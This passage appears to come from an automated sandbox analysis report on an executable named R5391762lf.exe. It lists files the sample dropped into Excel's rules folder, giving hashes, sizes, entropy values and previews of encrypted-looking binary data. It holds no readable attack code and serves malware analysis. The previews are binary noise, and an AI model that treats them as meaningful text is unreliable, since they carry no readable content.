SSDEEP:	24:GtTZCZJ+JfDb3zxoyOopOqURqJeG3kRET1GqIsXq8uWbD:CYH+J/Dxo1/qUCkRYIsXFuED
MD5:	879A8CEA1E315860BC3667DDFFEBEA16
SHA1:	4789AEB3CCA472E5FD367D9CF7E263C3FE5F5626
SHA-256:	666B6D980401528C579C36CAB3E465D904C045BD3993770F22A4B0662040CA7D
SHA-512:	67D58A8187E4EB660745BFE982493B5F1945F6339BC8E588E3D9C1AF628D0BF65D2203CC6C184296B4EC4DB0D205FA287293155EC01D768A70561C084A737451
Malicious:	false
Preview:	<?xml_..g)8... ....V.M?.A....Ag..K>m.!wl.^.2-.pk...(q..!u.E....T$.x .H(..5....a.xC.O..D%...'..D.X.I...$...lFF..V.).%....f......)G.M9...(=...,......v.R..F\|.c.I./H..9..(.{{...P.b...-.t.4.a2...de/S@...8...+T.......?.....2J........?.sU....u.x.C.F.H...>.L..e...VN..N%..u.l...i..4.Q..uQ.b^.y.~T.s7....x.~.6;..o^......9.m....9{[.r..,..yJ...a!..../..d.....F.-&...a.M`.E.[=,.....].J.!.N..PU^.I^..K._..iv.E...p..d.J{\.4Bb.i..@-.V.`.]!.....W.IH".%Co.."...a.....d.7wB.E..............N...j+h.O...B$0.?'........h.oN..*>YW......z...L.....g..tj....s;z).,..O..=...........3.9.....$7E\|vQ..s./&{....H........92j..Y..oSl...j..B...O./R..%..->A#..W.~....jj$13..vG.,./..R...H....;.&t,...D.o...Q....]\|.X..@..@<....LM.b.......#n.m.W3.r.=b...T..Y.u...@....D.C..\:.M.i..p.^. {..q.w<l~.88.y..0.ll.......x.Yu...q.2j.[\|.....xP...Y.1.Q....>.]doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.780153676458359
Encrypted:	false
SSDEEP:	24:jO4TTzyCisITELiBK2B91dYc+4GLJLTbvPbPXq8uWbD:/X2CPKdY2KJLPnzXFuED
MD5:	E177B822B493058799BE9F36679DD58F
SHA1:	2810298B55929B8D28988C2ACF2C20263AE992F5
SHA-256:	81815E09F3C8A74D8DA30210CE4DFCB4FCE28CD2E2AFA691EB903D2F79C26156
SHA-512:	5B20E9E1373CE4E92DD5093810416D1A307E92863F9499589C7E1C2312C614DB93A362F3F5C2EFBDD0C993B9E6032FA2F8700CB7EE47B1AA6041C4A40126C797
Malicious:	false
Preview:	<?xml...<..gO.(@.^...Z.V..q.C...,t.../."A..+.k.s.s......b.HQ......k....1E.4..QRQ.I...U....Y.b,....Se[..c.Z...H.Y....]....Y....8N....1F...]........G..<d9.X.4..P..w\|.....U4..2.=.....wZ..5.".`..+..'d.d].m.t.RG..If\|~...!.J.=....>..ec...zv.}u..R/7.:*..9........-..]l..X......[......._[.H%........._.a.sb;...C.].$....CL..+....i2..`..q...n..E.;......Q....0Y...........c^O...X........(e.7.......m.l..l.......NjeO..l.g=.<.>r...$.G.ud.R.z.@N....d....>..G3....Zr....Q.Tb.\.px.S......`.Q.s'......Y.....9...9]........K...B.....b.O..)4...T....\S.....s?....q...b. ._..M......J.W..=.9.3..U..d.3......t.NX.f..._....:T/A....Z,N. ...F..r\.../..y....]%9....vf...`...8..~#.W.....e.l..>..Ba;vc....{.ZQDl.o.Z..N...].....y,....c..WS...D..M..!...6.u.#9.~.uI9;.<.......(..y.~O.BP9.`kc..~..Q.......T7.n...`....m...../XH.e./qA..Ndoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.847582390933054
Encrypted:	false
SSDEEP:	24:0P5PDsKOUrforvjwJ/motyu+Ao/poF+5biLJqyYkMetNXq8uWbD:GlZ+jemokAo/ms5uWkrXFuED
MD5:	1E7FAF811D6D1FC3A61F01AF8778E8B9
SHA1:	AFA2A1B0FF9EBE0AC8646C9B5564E80248B62C69
SHA-256:	6586DDF4E56FAD6CA0B4BE85645F8FAD69B09E464F1E4882DF70A2882BBF0E89
SHA-512:	E69FD3CC8E01C7509DD38734E5F545BEE4D7DABADB33BE025C9E0DB0B06623277F47F57F74F4DFB3D9C5C1A4B96A919A094593DDABF7562711F72A2719A6C9E9
Malicious:	false
Preview:	<?xml.8....A_..\..3.....'.........4.%..O,4f9..c1...\G@%.`......e.d=."......8.0,-.@.o....0...e...O.S.]1.X=..4[..9.H.`..b..:.........(..>.........K..9i...q...Z.M\|C/.SH.'.Re.d.T.@.W/q;..H.v.....>../.:.&...D4.zz..?...0...C.=..!BEa.. ..E_mw.8kH..Rn.Js.%..v.<..S....&.;.../."2].....2I...c..6r.%.#.....f.<.t...s....t.....k.m....gO....}.a ...`'\|..O:.......+...Q.........$d.P`.'........s..p..`}.,..).Y....s9..6...`.u..,.8.......)m...._.{.4..j.Y.].G4.0#....0...(.v.<@.Q\w..}..?......$.1...i..f.\.$6.........K.h......V......d].E..=j+. ~..<.g..;..\6...'.....X.QL....z...(....n{..M<..R_].~W......(..n]....5.H^../......L..g..[+....L...?.3.L...tG.-....Fi.B4.....P.D..A.H..4...b(.#7.%...I.6;.g\u(./....W.%.a..u<K......._.x~e...3......R..D_C.....D.S..H.H....9V.+..'w..k.....s..,_J.j<..3.&../........%R..s<YL.g.$bfxw.:I....5.a....=..X.....O.X.A=w..0p2..}}%.......F.~..O.].PD%"et.]..F.[.Q..=H.?.I........1ir2y>,.....v...p...........o..P..6~^...3UC.....'..u...t...dZ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.684989718625294
Encrypted:	false
SSDEEP:	12:+rCpg0n4cxXUOxqHEox37fBNpWM6qSXzm077NTYhfPeav6fEAGPpXqOTuWcii9a:lgwd5xqkoxLfBNprtCv7i9P1v6fzypXp
MD5:	3C6A21697DC94EBF36B57CD4549C1907
SHA1:	F95D5B810C24BD12E204438737A6E660B59FFB39
SHA-256:	490E9DCB9CEA8FAA85229E0AF8E95F6EACB29733D8164B0294A0088C22669C47
SHA-512:	3EF3D65B61A2CA5AF2228FB27B320F2860FF113323A43F1B6B8DEDACE92B282371FF7FCFF12C1D9F54834391E1383C5E8371980B607184C2A28CC1262ABE3DBE
Malicious:	false
Preview:	<?xml.7.......%.q-....#.PIc...aV\|r..C.....[..6..R.I.I.=.`d..../l.}k.HkA.Z[e/.z.<QF.hR.H.'..A..\|...c.r..Gt..'.b..........J....!,i8Q.;....&,....RBG.a+WR....k.b..t,..1.....Q..].V........AfL.@.C.m..}\|...b...C[.....N...[...al,..[.'.....$.=..yL.M.C.....HQi......^.....G.m.@:....\|3......H...+..}..[..3s.a..'.e.}....vp.^3.!X:........a.T.Md.M.....Mt..@...U..G$;..'.A..........._.)....~QRZH0x...!......j"...B3pn,.....\|dc...G..;.~..C....c...5....H.2..G.[..E~2}..d]..YQ..N.NJ;;.s...l....q.~~g....2W):.Y....Q.....tJ.V..b..>..3.TQ.s'd...rh...e.u...B. @..fF.......T....#.. ..f..g.Y.$~..!......l.E...b=.R....6wP.R..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.693560868172394
Encrypted:	false
SSDEEP:	12:dMkU8RpLBHF2rh6vJBZ+uFdJqNSGSUO7S4EfV2NXYvEnwnj1N1kGoad+5zXqOTuQ:Wfcn4uBkUgSGMSJ01wOwnj1NPoW+5zXp
MD5:	C4C59B2D0B7BA14DDB8B231A15F73A41
SHA1:	30E3BC4DAFFE7DC342AF3FD24EB48DEEE4FB4958
SHA-256:	3A55049E291F4C5BBA1D145309FBB254F8E6DC151316A5D3D080E2A320C2BF09
SHA-512:	944F01B204E153073D582B426A4A5E1D7D2C5848ECAAE0B83F98A3CC3ABB8A7FCAAB188A0DEF95EFB4EE9522A8E57C61757171662AB3B7B47C8D54F7A5DE62F8
Malicious:	false
Preview:	<?xml.w.k..\.....~H..S.g....M.^.Yl...~.:....d...pKUk.t...ur....w.m._j.*....p. !..u..h.......:5.z..e[B.^.....>._...!....W.D...A;p...........4o.vl.qcq....W..y..Dx.k9....+.q.W..?.^......c.&R..a....J.m.?....i..h%.....s.h..M.7.._...9.PHC.....~@v..}-2.b...?.V."..5....%.f.~d'....1y.)....)3...R1.W......L...... >.Te.=.']9..c.X..R.g..m.a.]Fw...u.W/.Y.]2.q.E..q{uUs..ob9..I....CWr.1d.GwHh.>^"...?.L!R..]!n......R...Az?e.S1e.....O>..../."A.k`...i.5.5...Z.@..Z..!_..'....G8...fLh>2&.....y..z.V..C6.z.......1...6..I....5G~s...X?.J..O...YD..E.....{.!...w~b.q.}......39s........Y...w.T(h..)\|Fq.D.4.../..(a..y;8...a.V81.}.R.....:.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.701414574908787
Encrypted:	false
SSDEEP:	24:DzJqW/0vMeMZMc4jkYAekSpfySxW+TLbdbgOIXq8uWbD:DQ7TM+c4TkSpqD+jdbbIXFuED
MD5:	8125844B1D2F39B165AAAC59D24C7BD0
SHA1:	D3D1319A08DD54B92E12C3B63A75572A511AADED
SHA-256:	AEEF2AF8E1450E525A020721F80AD2414B391D6E38BE08FCCBB28E1E6D34D88C
SHA-512:	085CB01182F53BC08225B3929329ADFA31FC8B2276693E8C9C266F3D5FE6D4256F12BF10E2A040F157F88DCB3B5E4293E744242245F06C2C4422B05F08792117
Malicious:	false
Preview:	<?xml.....:...X..0...g...]..=.:.\|......7tw. u...i..-..,3...#....U......o..EA6..d..g..3...GH.X...L..j...#..Q.....9.3.#..M..8...d#.a..]g.}.3..(.0..m.v./-.m.....x+.\..2o....Vg...:vn.)...J.\|.....2..@.....(...6....X.d.p.W....&.X(#l.6..v..(A.X[&.g..w...t...]...W.b.T......5..n.....d.Q...n:(.Y.RP.A..>;y%P..R......=Y..CO.h.{m$..F.>8_.<@.]3..L...Z..m:.(p...........b).o&O..qri.s.p.#...Ba.\.p:...u\]...yQ.:\.!j.....5..8....i..{.F.n..../mx...Oh..K.%X.0b..r.g...Q.:....".J.'....\6......\...X..Vm)...Px(0d.h%7......9..i..F[).n..p..g..1.........m.f;...J..............?(._v7.5M/.j.+[SZ..j....1]....Xu..b...V...O.%..&.^..1..(Y....+[...U<.....\.#=.Z..C....W.=...[_E...rN./+..3d..@. ..[..{....F...Y.S....)doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.6935509559025235
Encrypted:	false
SSDEEP:	12:TC+7cJbrPIP754BM8K3Xj9CZDPlmdpZGLb50PkrfGiKdD54ixDDER9P9+NDXqOTX:TC+ec738aXxC507aN0NiKdlv5EfEDXq+
MD5:	0F8B62A942D8593234A39D6FD5BFB23D
SHA1:	ABA1FC2054C7BF14B3A46753D51472961E0DE7A3
SHA-256:	F9F06B0D6E7DCA77E7364EC448C2A80BA1D09D79A64B6A3E47E5F4D3D9A27A03
SHA-512:	51C9D0AB6B2B1D623243FCDDC14B810C099C2A777548CB7C83C7EE35C9CBF3E2FC8F764AD8DC254CC19682AB99B94FEC264514E7C03A35FD1F759A572CBB00AC
Malicious:	false
Preview:	<?xmlX........-.f..GJ-...m.L..i.........}.v.U..b...D.~{$.....}"z.}..[,U...._.8.........`.b.y[.W.W..v4.X..G.....\.e4U.....N.L.....:+.O....S....:......P...\|.m5...".+C....).)'L.1.F lv.."I..h..+.F..T.).........a.9..........;.;.\|a......{&<..#...........8.......Jv...;..+........zIkYI...\..0.n...k.......9~U.@qD.[.x...........i....'9..F.<+..G...i./w.R$...\.r.@.k..DmZ_.dg..w.0...,OcjDbR.S.e`...U.j...x.(.Z..%..L...J....'n.S.h...y.c...~.">.....l..dL36~.......hj...O'4;..z.......Qd...L...=:.S.U..q.\{../....1.1.....4..5>.....!.Gv.^)(.#NT......ig...f.4.h.$....Go..!..c~J1...\M..t..L.O..T./.T.D.n..[g...^p.J;r.\...Mdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.745583485604202
Encrypted:	false
SSDEEP:	24:fDN1Jf5m5HuZCntkbEpj1wGJr0nXq8uWbD:jJ85O2Copj1wc0nXFuED
MD5:	C859AB3F5B6DA9712BD3AAFAE802C4E3
SHA1:	8EFD5648855EC8036462F1AABE47B5394931A45B
SHA-256:	F34BE0AF22D210555E2E4601BB35D74984A754EE00B6FDA3E5DB0AA5300B74B0
SHA-512:	DD8DC3910754DC71F5A5EDB6DDA91FD0D3626040FBB2CC69CD83F4249D2AEB5BC8AEA1C441E2BD7A93B95CE7CB3A339C227C586EC25F343397811B4F2CDF13B3
Malicious:	false
Preview:	<?xml..UE. K.%ou....D.9.x....S.NV#.v......q...Y.-........@....M...'.O{:9........v r.%a...Z......<...?......N.......00.fo."..B^v.....U.F.c....L.1.y.C....,...D..$.r.M8B.b.'.].!.~1.M........P.T%\cx.4<Y.?..V..m..r...\|.s1...>...p.8....I...}.F.V..(..1..8..Tz,......x..+@..u....ID....6v..c1/..5.bnM.......z.N..X:...r1.sK.cd...<..H....l=8)......=.o.v.mI..........c....'<.....3..."..\|\03:d.!I......7a.t.C.A..#.,..u.l^.g..w..=yodR.......>S.[...L.......S.m.....z*..)..2.M.>.i.h.l...SR=...[q..z.g.p.\/.,.....\.....N.e..txr.~<....2.L....:S.....n..r!`.5..g...gB..JX,..Z.5vbk"#&.T$>B..v'[..[L...Rb.9AXOj@;<<...M@..+..'g.I......w..4.o9.Z7. -.~!.`.&v......;..\|.;.".h...H.....!.+O.n.t<....qsP.,..B.^).........d[....m..a.Gr...<Uj...r.....E..E..9..;B.(.)......<...r].4.n.y.~Oidoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.679603280778252
Encrypted:	false
SSDEEP:	12:y6W3r13dGciJrOEfUP4Xwb6zLGmoOMyG5ANKzUnYK0xcRHczvum6BLhG5523XqOj:orJsLCEhgez6TOMyGhzUnYKWaUb55YXp
MD5:	225EAE2F8785E3AA468638823030D045
SHA1:	4327173D6B59B54A2AFE2051299AB4E6913ADB05
SHA-256:	228C6EC5CD8E89C890FB2DA9FB5231BE815ABFE637C87E6782306EDE147D1FE9
SHA-512:	65DCB3D730AD4A2FD0DED0A7E00717829FD86E9AD1ACD344F1354CD8B0CAF04D1B92CD350AF450E76DD352FE7F7C9EFF069A601529FF1687CA8CAB4E78E57F2D
Malicious:	false
Preview:	<?xml_..P..?..Bw............+...#..qhZ.~W.K....r......~...0Q.....W..:.L._.G.....Uz=..`...QF..'.M0..W.Gm..:t..u...y..iS.-.....V.4.tZ/v...s/......<..k..I..l..O.Zd....H...WD..S.<..^}m0....H.1......&~.n....Y..#.~....='..H..f&.,0..6.2....G._8 ...D}......M_^N.xq]chY.h.-.N:..4..KV\|..L..=6.<.X.l:..?X....m...;....s..c..R.n........\.:..+..+..,X...Q.^#.d.L....~A#p.....U........x.bz...zkb..z@.X.....g0.J7...EU{...UgD.e...T.."Z.MMM..F........).....1.z..G7...../.>.....4...6.2.Zt......O..&....x?6.e".Z.G......&.o../...S...r...O....2....R..-.~crC..b.....}..0..rV.?F.fY.u..W....#`>....~...Q8oR.. .q..x.?1.m....G..c.!a0L.c!.:O2.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.85532284112045
Encrypted:	false
SSDEEP:	24:S4I+v54ez5IVVqzM5RiroYH544Dk4dv6KwzhwjbR5vbAHPh0g0Cu28Ro2Xq8uWbD:ZIHoRHK6NilwjbR5vkHGglu3xXFuED
MD5:	FA4A05D54C04E8C6B2D6F2A538D50874
SHA1:	B4DF4DDAF2C09FFFC37E09A08921584255576994
SHA-256:	F4540A0F04EBE85B6506B701FD104563555382FC8F3356312DB947EB0A9BB712
SHA-512:	5FE3A7129EC9040EA2E9A86D21BE0507FF83C3E32219302F984838A4585BED9309999542BB186EFD02875D5C54CDC6D320D3A1552F9D0D37C79159630DC6C9D9
Malicious:	false
Preview:	<?xmlj;.6I36..h.^. e.+:.3.z..i-}:.t....f.v5.......I....M>.1..PB.T..k.Kf.G.>){...B.8..........#~. sK"W.aj.Y"k.vx.......#...y&..+V.K....pV~....;c........=.u36.@....i2}...J....vLn.b8o..m.......k...,..p.(%..oM..L>.\|0.:..k'.DI\|U..PI.'....=b..i..i6..G.;.....[-su..\|.l...Y...r...:.....H..N.F.t...`..t.}..!g.2M-.BF...\|q.Z..u.....P#.b.?..4K..9Zaq.....j!.O)..>.@.....&...e......-Pl.f+.E.....4.z.....H. .{....U.......~e2m...y.m...?.9...i/.......^.S/=t..Rm$..8C....%...t.....<.C..m.u..qo...I./.)..5...p.@O....n..Q../9+e.....x..1h.....E.......l.....e..r.Z......fP.......1....S+....>....,B.EY6.N......#......4.;Y..M..`..J.1..k.E.{HL...'O.m..Oe....+...p...+f.6..`i.nD\|...F.s#....t&T.BD......z4<t{....4..}...........&....P...@U.....8.A.e.XRp......vR...G....?b.....l..B.!A..s.H.U..:No.k....M!a...^..tHOF.b[...<.P......^&Q.].B.P..M...F.b.B9#jz..c%Fm........sK3.&..1-/`@k.xD..K.~hlG.....Dto....x......../.?"S..P.2R..w....M.b..yw.]...F..?=,..C''..H.vdU......V.`)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.822908857967497
Encrypted:	false
SSDEEP:	24:YmYfkNJaZkhtoEKwB/ljbRTmrPuVA/STTu4XWUAicQsNQqKXq8uWbD:QkLaZstmw1FF6/STTu6WUAi6N/KXFuED
MD5:	D2235D3289F836A3B2F96DCF0181DD45
SHA1:	86E363140DFCD82B6567915583ED5A0011B69289
SHA-256:	E32D20DFCDD1472FF821EE0CD69CF1D35452D024D39E85A3565D169B1163303C
SHA-512:	2A4FDD45F7324574784CACE194A02CE2E824E11259E5F768080C59DEB19E32B50CF2950B0345783F1E3984EA89107FC46B777E4461D03BFBEA45A8B15050D085
Malicious:	false
Preview:	<?xml%h.q.A.$.YB.p..f......5...~.th._:&b...xI..?o..JT8.\..s!.......i+(Tp....Y.Yqd....T..\.@4.T}.._.Pb.k.u.n.1.I...=O....Ia..W.L.Y.b...-Z...Nh.../..pO.2\|.....7.m..o..^fs....f.S.Qys#j...A.....v.d...#u...........^...+...w...]...4.X._....v0.=I.........@.m.J..@....V.y...t....@.98.....'y...P.{.l8.\|X5h..r...dok......;ttN=7/..._9Z..\|...x...F.j.....W.M..b..N.<.J4.v........5..2....Pk.a.....xx^..R.'yG...,.NC..<.[.~l.J..FJ^MEx........s......3...".K..?%.g.....u^..!.z.b .o@l.N!..B......!m..E..id.Z.....!.@rK..F.%.D.........Zq,.......=D4........du.@.:.......>/..-......+.<W5.L.0..t..Lx....V....<^35.\|..r...f.fZ.C.20..a'.L&.I..HP....R~...e.M..{Eju...^Q.^.T..f."A.L..6W`n....H......S/.%.me.b......%..."..@........_;.}.....@QE..S._...-.}........D.>.!.P....Cc.Z..c.H..L...KU...%FL.l..#..xEt.Mn^.....z._..J..0......#.h..+.. .r.-].n.[-.R..0....".9N..(......<IL..Az../.Y.M1..oD.".=7...gtg.+.......Z..L....).X....C.......(..CA....VL....U.yU..o..v..W......:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.794254636785336
Encrypted:	false
SSDEEP:	24:aHzbbqHfpHxWByFnJiP6FJ8+qaef8OjiuFZN+kvU6jJTFlKXq8uWbD:azqRtFnMsYae9zXvU2TFlKXFuED
MD5:	D78EFE90A028D24BE68219C6BD29E715
SHA1:	62E3A6843E4EEE0C8CCCA4DDF46CE844D885C550
SHA-256:	007996231BE54CDB28BF30D208001FA83CEAD92CBA7A2A17C4BECEEF6A7D8123
SHA-512:	9B4C680A37AE0BC1B5797C5C288E549520EA6F6653D647C807D58F07491286BD1E5D660936FD95528E81B87BEDEB17007DD9F72052C30FD75D609AAA76E06C55
Malicious:	false
Preview:	<?xml.3om{.,.....u8.`.....F..Q..V..e.......-L..E....}.o.4.8r..G%.B.1....i.iq^...o>...D9..._K.:..@7J.pN./I.c}....3......-...$<........,:.t.,\|....R3..-.e.~.V.....L.BFI....r...VK..P..i.C......vv...@U..e%....."......,.kg....#Ci=....A..e..U...w...fo...K.]...:E2AOG....C..7.pB3.W...>G..1I[\re.U.K .u....1.W....@'RA......y.r.Q.HV.....K.[....).u.o.....'....q.-G..K.g..d...?2.w\A.Vz....17.....3J..\...<..4L.NE..k.xe.=Y..'4..r]x[.......x.{:=.j.V.`4...=....a;_..M]..7O.%..so.v.j.<...J....F.l.8'D.4P..Q.l.8..'.sV..3..6ie..............9.~.a...`....{@. ........?.W.k.BQ{..(.?k..J@K.B...0.'.l.A....j........}.l..A.J....d....)2v...;Ao.vs...D.w9.(..<c...`r....x.a\|+O#.........&.Opa.C$.W.J..H>Xv.....B!o{.Y .D.,..s.5X..-.4.H....}....'....<Z..=.\..j.wC..F... .33.....T..`.p.r..;..r.=0..\|..@..l/=....Q.@A....G...].raI...'..d.a>...B.Y*.gw.<\|(..............&{.2.l....'j!..A...p..V.r.>.j......\|.....YH...(S.HQ..'\~.18.$.I4.H.........rg>l.?......4..4.QK./.......M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.8268157900453605
Encrypted:	false
SSDEEP:	24:LJiVrsI5PvvYveula/sX2MOt782y+0vayXq8uWbD:LJgvvYveuUsX2K5layXFuED
MD5:	B656336BF839F35417CC43451CE23ABD
SHA1:	10DF8AFB3E33DE4E90A32327D389A791B334FA25
SHA-256:	CD0482FBD6AC2473B47EEE88D9D8C3A652DFCF435CD729D5EDDC471A1A1C6624
SHA-512:	50F66C85D376BE9F60214D7A9F78CD8B2B3DE4C4A3FC64CF442FC3331DE2BEF36D771225B51479A8E180A7D25E63404871FFEE65F8D49760256BD70166186224
Malicious:	false
Preview:	<?xml.Q@L.7..8...j..[@.\|.<.Gr.A..X'o.p..orD...r...S&.....W...a..k...}..).......iO8u.O.K{..X....:.^M.K..[...DL....a./..PbR.P...#.G.Nn.........FI....@............a..Kg#.X.=_..)......TR.D(..9.L..[`...a.2B..c.1.'..S.....n}.....1..$..sC..c..X......N.E.......ily..e..B^..,. G...?<0.E.<.....I.\.J..mH..X....`-%..t.3!.C...[....l..a>E>x.[...{ZrQ..b.b.Es..A.G..t>i..U......>\?.a..&(..JD....,........v..U...:Q..R.........f9.'Nt....,...g..5,].^..e...jd........E.T...8.....p.`.f.Y......t......)..`.......\.H1.>..\|.0W.....x.t9.~..pl.Pu.s...2........?..D.....u..!..F}....\|h.".~.&..{.>.^fU...X.7h.....=4..%....:.K..sZ.[..rP.K.[..e.........j>.4.m......hhW..9.a...+k....m.R.....9....mU..V.Vz....]......3S.....{'..SG........R../i..../.j...o'..S..U5.$..3.Lm..&TJ..B..R.>/r.=z.......ZPK....t.5/e.....`....Ezw..Q.@...nb.@.aU..`....s...NW...=. d...).L......Ok.X....2..p.'..O.....f9..3_..ZC.$0.FQ...o(.y.gEG'...U.\|..........O..t.B.~.T.]....\R!...[ej.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.707077119893834
Encrypted:	false
SSDEEP:	12:kwG5axC645Fiacv+lfan9Rb9rzTmy4fObakDDIPxawCfyvIcpOgwO1FeTQJB6p10:nxClwacvh9Rb9/b4yaYQxzCfyvIrgheq
MD5:	1BDCB237AA352D04CD7E922EF6766771
SHA1:	9B002FB0EE429B8A8E7C20F503747D09DB2692BA
SHA-256:	2DE2414C86A11C2FFF2F758E810617138B125AAD6A96823635B2E8FD95EB45AA
SHA-512:	384D9C6D4DAA64751AD65DF60B7E72C496AD0E03164EC498AC946BC9126FFFBDDC99A532E438ACA82FD229DDE87D3E197423F4CE5D7F15E7D8CA89ECF55E9272
Malicious:	false
Preview:	<?xml.....0.[.Bj.\|>k..b,Q.C.]0...!..u.."..h..%~..S.....i.#..d...>......].Vf .,q.=.A..d..b...z.y...-.)...JA.%...e..Y.H..Gh.CG....OS........?\|.t...S.8WN#.......&v.*p]^.=.+<..pL.A` ..i.y....}Y.<...t...g...h..5....O<.d}x:.e..3.......WB.R.tQ....e.......Z\.=3..S.S~H..L........._.zj...u..].yL..>/......_"Rd.}t/V..H=.}..M...y.B....u....Ns6......`~.s4.......%...\|........5H.OM.F..........6.Ee..2....T...+...n..q..S'....ebu.@..%..G...+.8'........=..:.JFod.i.1F>.....rHwu@Wh...uj..G..LB...,...5.......l!.W.VE..A0W....`..G...(.0t.d.f........<...r.F$wi%t~.ip\|..$.D.{...w........u..d.......rP.8........?\|Y.....A..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.852475707696721
Encrypted:	false
SSDEEP:	24:J8z1Ps33NK4V+AEO+9Hhd4jeiTM3/dF7jL/UTGPgv8Ukf6Xsbsy5B4UzK7TRPHA3:JVK4VF+kvSn7nUSPU89ga5eRXRPkXFuQ
MD5:	3CB0021C2923B918615C116466BD1DD1
SHA1:	BCAE2E679D2D78900C6FB943F301C40918428979
SHA-256:	A08DAB6708BF461AF81193AE4BF5FB5B186D27DFB70F61686B9F51C6A510CD1C
SHA-512:	416FC9CF89D76C224483B92B9D48B1FB4D957DD8EEB152786EFDD06F531976794A0FBABD9DF098A75C729BA200B9970F74C51FC96FAAAD6E4CB568BCC042FDAB
Malicious:	false
Preview:	<?xml..D... L.j.../...hH!.;....9c....P..D..p..S@...A2M...y......S[.9).Z:?>.g..T....#V?.&....s....../..r...:!.4..WPz.u....=.........z....;.!....tR.+.v.6>.m.......AY..\|....Z..O.Y...%l.`S.r"...i.G.iR.=.....;.o@.$...2I...mt.M........pZa...Xa.5..O.....U..M...h.%..r...@c.\|J....X.AW..5.@...p.w.9...).....~h.... (.>.n.Y_:LhR...m..L.GCe..M.Y,.X.x..~..O.3.O.d..).\...b..&..0qK.E.u.Z>...uRr.!.R.;&.......i......].u.%\|..o.q..].&8..M\!.....#.F..G....5..@....Z..R..JXmz..@fp..5...A...1).....z....}L.9aK.....CI(....._....%...d4^Wj.....j.cA./3....xC..F.!.X.>.. ....[.[....X..0}.\|....M...!z..n.J.....aSpZ...7.5d...^..-.4...9....4.Y.&....;.].....g..h..."x.dY...j."...\.m....HR.......oC7.VI\|..o]j`...../fR..J.+.q ......A..P:.~.....4{xPj....]...C..''..Q.A.....T.K....]......\Q.\."<....v.+......b....b.y.{XW...i...O..%5.O.[...c............Lx[....Q...,..).~.M.......im......7.....8H?..^+P..]..#.w<Yp,.WzX.s...,..4..^/...J.l.v.;..@;............P....u.?.).ra...a....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
